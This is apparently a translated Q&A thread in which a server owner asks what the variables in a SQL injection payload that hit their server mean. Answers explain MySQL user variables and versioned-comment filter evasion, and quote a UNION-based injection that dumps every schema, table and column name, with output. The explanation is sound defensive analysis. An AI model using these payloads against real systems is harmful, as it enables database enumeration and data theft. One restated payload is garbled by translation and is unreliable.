サーバーに次のSQLインジェクションペイロードがヒットしました:-
((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))
(@)と(@:= 0x00)はこのペイロードで何を表していますか?
スタンドアロンで実行するには、上記のペイロードを次のように実行する必要があります。
select((/ !12345sELecT /(@)from(/ !12345sELecT /(@:= 0x00)、(/ !12345sELecT /( @)から(InFoRMAtiON_sCHeMa
.ColUMNs
)where(TAblE_sCHemA
= DatAbAsE/data /())and(@)in(@:= CoNCat(@、0x3c62723e5461626c6520466f756e64203a20、TaBLe_nAMe、0x3a3a、column_name))))a));
ペイロードに構文エラーがありました。
(@)と(@:= 0x00)はこのペイロードで何を表していますか?
@
-変数名です@:=0x00
-この変数へのゼロの割り当てです。注意: :=
は assignment-operator です
コメントでのQ&Aに対して@Frank Cedenoと@strnkに感謝します
@Frank Cedeno-/!12345sELecT/がどのように選択になるのですか?
@strnk-これは SQLコメントへのMySQL固有の拡張 であり、
sELecT
はサーバーのバージョンが12345(1.23.45)以上の場合にのみクエリに含まれます。非MySQLサーバーを除外します
詳細:
From websec sql_injection :
一度に複数のテーブル/列を取得する
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
出力:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
このStackoverflowの回答 はSQLコードを説明しています。
まず、クエリを再フォーマットすることで、クエリを少し読みやすくします。
1) SELECT (SELECT (@) 2) FROM (SELECT (@:=0x00), 3) (SELECT (@) 4) FROM (information_schema.columns) 5) WHERE (table_schema >= @) 6) AND (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name)) 7) ) 8) ) 9) a);
@の割り当ては次のとおりです。
- 3行目では、値0x00(10進数:0)を取得します。
- 5行目では、この値は(table_schema> = 0)より大の場合に使用されます。
- 6行目は、各スキーマ、テーブル、列の名前を@に連結する方法です。
- @は1行目で返され、構造の連結リストが含まれています
6行目で、追加の
<br>
(0x3C、0x62,0x72,0x3E)が変数に追加され、出力が読みやすくなります